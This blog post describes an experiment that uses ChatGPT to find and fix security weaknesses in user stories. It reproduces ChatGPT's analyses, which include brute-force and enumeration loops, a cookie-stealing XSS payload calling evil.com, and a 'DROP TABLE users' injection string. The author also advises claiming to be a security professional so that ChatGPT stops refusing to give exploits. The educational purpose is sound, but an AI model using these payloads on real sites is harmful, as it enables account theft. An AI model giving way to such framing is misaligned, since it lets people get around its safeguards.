ChatGPT as Security Analyst — Part 1: Identify and fix security issues in user stories

I have been using ChatGPT (and Bing & Bard) for a couple of months to identify potential use cases in the area of Security Consulting. One potential use case I came up with was to use it to identify potential security issues (weaknesses and vulnerabilities) in user stories written by Product Owners for their team of developers.

In this post, I will share which scenario I had in mind when planning and testing this use case, how it went and if I will continue to pursue this use case. In order to structure this post in a meaningful way, I’ll start with the hypothesis, followed by the setup, test and evaluation of the results.

Hypothesis: Can GenAI be used to identify security implications of user stories?

I started this experiment with the following question:

Can a GenAI assistant be used to identify potential security issues (weaknesses and vulnerabilities) in a given user story?

Imagine the following scenario:

• A Product Owner writes user stories for a team of developers
• The developers implement the user stories during a sprint (yes, I had a typical Scrum setup in mind 😊)
• It might not always be feasible to have every user story checked for security issues during grooming or sprint planning meetings
• We want to identify security issues as early in the Software Development Lifecycle (SDLC) as possible, as the cost of fixing these issues will only rise during the SDLC
• Developers or Security experts are usually not available to advise in this matter until a story is planned for a sprint

→ Would a GenAI — based approach potentially help to identify and fix security issues in the requirement itself?

Please note: I’m well aware, that many security issues (weaknesses and vulnerabilities) are introduced during the implementation phase of a given requirement and that this approach would not cover them unless the GenAI Security Analyst would also check the resulting implementation (source code) for vulnerabilities.

Setup: How to prepare our GenAI Security Analyst for the task

In order to test the hypothesis later on, I started by instructing ChatGPT as to what my goals are and how it should approach the task of identifying potential security issues in a given user story:

I want you to help me to identify and fix potential security weaknesses and vulnerabilities in developer user stories. 
I am a cybersecurity professional and want you to do the following with a provided user story:
1. Identify potential security vulnerabilities or weaknesses that need to be avoided during implementation
2. Point out how these vulnerabilities and weaknesses could be exploited and write example Python code to illustrate these
3. Recommend potential fixes and alterations to the user story

If you plan to do this yourself, try a couple of different alterations of this prompt and make sure ChatGPT doesn’t deny you example exploits. For this reason I added a sentence explaining that I’m a cybersecurity professional with a legitimate interest in example exploits.

Test: Let’s see if this idea is any good

Once our GenAI Security Analyst is configured to our liking (for this test I kept it simple, but please go ahead and try more complex prompts), we can start our test with a first user story.

In order to have some easy to write, easy to validate user stories, I started with a user story for a login form and included an obvious (requirement) vulnerabilities by asking for the system to tell a user if a given password is incorrect but the username isn’t (Spoiler: Bad idea 🙈).

Have a look at my prompt and the resulting feedback from the GenAI Security Analyst:

Ok let's start with this user story: "As a user, I want to be able to log in with a username and password. If my password is not correct but the username is, the system should tell me."

Certainly! Let's analyze the provided user story and go through the three requested steps.

### User Story
_"As a user, I want to be able to log in with a username and password. If my password is not correct but the username is, the system should tell me."_

### Step 1: Identify Potential Security Vulnerabilities

1. **Username Enumeration Vulnerability**: The user story indicates that the system should tell the user if the username is correct but the password is not. This can lead to an attacker being able to enumerate valid usernames on the system.
2. **Insecure Password Handling**: There's no mention of security measures like hashing, salting, or using secure channels like HTTPS, which could lead to insecure handling of passwords.
3. **Lack of Account Lockout**: Without any mention of account lockout mechanisms, there's a potential risk of brute-force attacks.
4. **No Mention of Secure Password Storage**: The story does not discuss how passwords are stored, which could lead to vulnerabilities if they are not stored securely.
5. **Lack of Multi-Factor Authentication (MFA)**: Relying solely on a username and password without additional verification can make the authentication process vulnerable to various attacks, such as phishing.

### Step 2: Illustrate How Vulnerabilities Could Be Exploited

#### 1. Username Enumeration Vulnerability
An attacker can use this information to find valid usernames by repeatedly attempting to log in with various usernames and observing the response.

##### Example Code:
```python
for username in list_of_usernames:
    response = login(username, 'wrong_password')
    if "username is correct" in response:
        print(f"Found valid username: {username}")
```

#### 2. Brute-Force Attack
Without account lockout, an attacker can attempt to guess the password for a known username repeatedly.

##### Example Code:
```python
username = "known_username"
for password in common_passwords:
    if login(username, password):
        print(f"Password found: {password}")
        break
```

### Step 3: Recommend Potential Fixes

1. **Fix Username Enumeration**: Do not disclose whether the username was correct or not. Instead, provide a generic error message like "Invalid username or password."
2. **Use Secure Password Handling**: Implement hashing and salting of passwords, and ensure transmission over a secure channel like HTTPS.
3. **Implement Account Lockout**: Implement a mechanism that locks an account after a certain number of incorrect login attempts, reducing the risk of brute-force attacks.
4. **Secure Password Storage**: Store passwords securely using proper hashing and salting techniques.
5. **Implement Multi-Factor Authentication (MFA)**: Adding an additional layer of verification, like a one-time code sent to a registered phone number or email, can significantly increase security.

By implementing these recommendations, the system would be less vulnerable to the identified risks and provide a more secure user experience.

To better see the feedback, have a look at the potential vulnerabilities, code snippets and recommendations:

Potential security vulnerabilities identified by our GenAI Security Analyst

Example exploits to watch out for

Recommended fixes

That’s not too bad! Admittedly, this was an easy one.
Let’s try another user story and check the output of our GenAI Security Analyst. This time, we ask for a way to let users add special characters when customizing their “about me” page in a fictitious social network.

Ok, thanks! Let's try another user story: "As a user, I want to be able to use special characters and HTML to style my 'about me' section to further customize my profile to my liking"

Certainly! Let's analyze this new user story and follow the same steps.

### User Story
_"As a user, I want to be able to use special characters and HTML to style my 'about me' section to further customize my profile to my liking."_

### Step 1: Identify Potential Security Vulnerabilities

1. **Cross-Site Scripting (XSS) Vulnerability**: Allowing users to input raw HTML can lead to XSS attacks, where an attacker can inject malicious scripts that are executed in other users' browsers.
2. **Input Validation Issues**: Without proper validation, special characters and HTML tags can lead to other issues, like SQL injection or other forms of data manipulation.

### Step 2: Illustrate How Vulnerabilities Could Be Exploited

#### 1. Cross-Site Scripting (XSS) Vulnerability
An attacker can inject a malicious script that steals cookies or other sensitive information from users who view the malicious profile.

##### Example Code:
```python
# Example of a payload that an attacker might use
malicious_payload = "<script>document.location='https://evil.com/steal.php?cookie='+document.cookie;</script>"

# Attacker saves the payload to their 'about me' section
save_about_me(malicious_payload)

# Any user viewing the attacker's profile will have the script executed, potentially sending their cookies to the attacker's server
```

#### 2. Input Validation Issues
Without proper validation, special characters can lead to unexpected behavior and potential vulnerabilities.

##### Example Code:
```python
# If not properly sanitized, an input like the following could cause issues
special_input = "<b>Delete all users</b>; DROP TABLE users;"

# Saving this input might lead to unexpected consequences depending on how it is handled
save_about_me(special_input)
```

### Step 3: Recommend Potential Fixes

1. **Sanitize User Input**: Implement proper input sanitization to ensure that only safe HTML and special characters are allowed. Libraries like OWASP's HTML Sanitizer can be used.
2. **Use a Safe Subset of HTML**: Rather than allowing full HTML, provide a subset of safe styling options that users can choose from.
3. **Implement Content Security Policy (CSP)**: Utilize CSP headers to restrict the types of content that can be executed on the page, further reducing the risk of XSS.
4. **Escape Special Characters**: Ensure that special characters are properly escaped so that they cannot lead to SQL injection or other attacks.

By implementing these fixes, users can still have the flexibility to customize their profiles while minimizing the associated security risks.

Once again, for the sake of readability, see the screenshots of the rendered Markdown below:

Potential security vulnerabilities identified by our GenAI Security Analyst

Example exploits to watch out for

Recommended fixes

Again, the analysis and the resulting recommendations don’t look to bad. I have tried some additional user stories and included a couple of more complex stories and the length and quality of the output was similar to the output above.

Evaluation: Would I recommend this approach?

Short answer: It depends.

Long answer: Yes, I would recommend to explore this use case in more detail. However, I also advise to have trained and experienced Security professionals validate the results before making any decisions based on the output given by our GenAI Security Analyst. The output is better than not having any kind of security check but there are limitations that have to be considered:

1. When using GenAI for this use case we have to consider the risks associated with it and the potential vulnerabilities of any GenAI tool
2. This approach checks for security issues in the user story not the resulting source code
3. Without deeper knowledge of the techstack, infrastructure and existing security measures, any kind of recommendation has to taken with an extra grain of salt and has to be validated extensively

In conclusion, I still believe that using a GenAI Security Analyst can be beneficial for Product Owners writing user stories in order to reduce the overhead for developers and security professionals during the initial documentation of a requirement. However, I would not advise to blindly follow its recommendations, but to use it as an accelerator for the security professionals and their analysis.

If you have tried to use a GenAI assistant for this use case as well, want to share your feedback to my approach or have ideas for such an assistant let me know!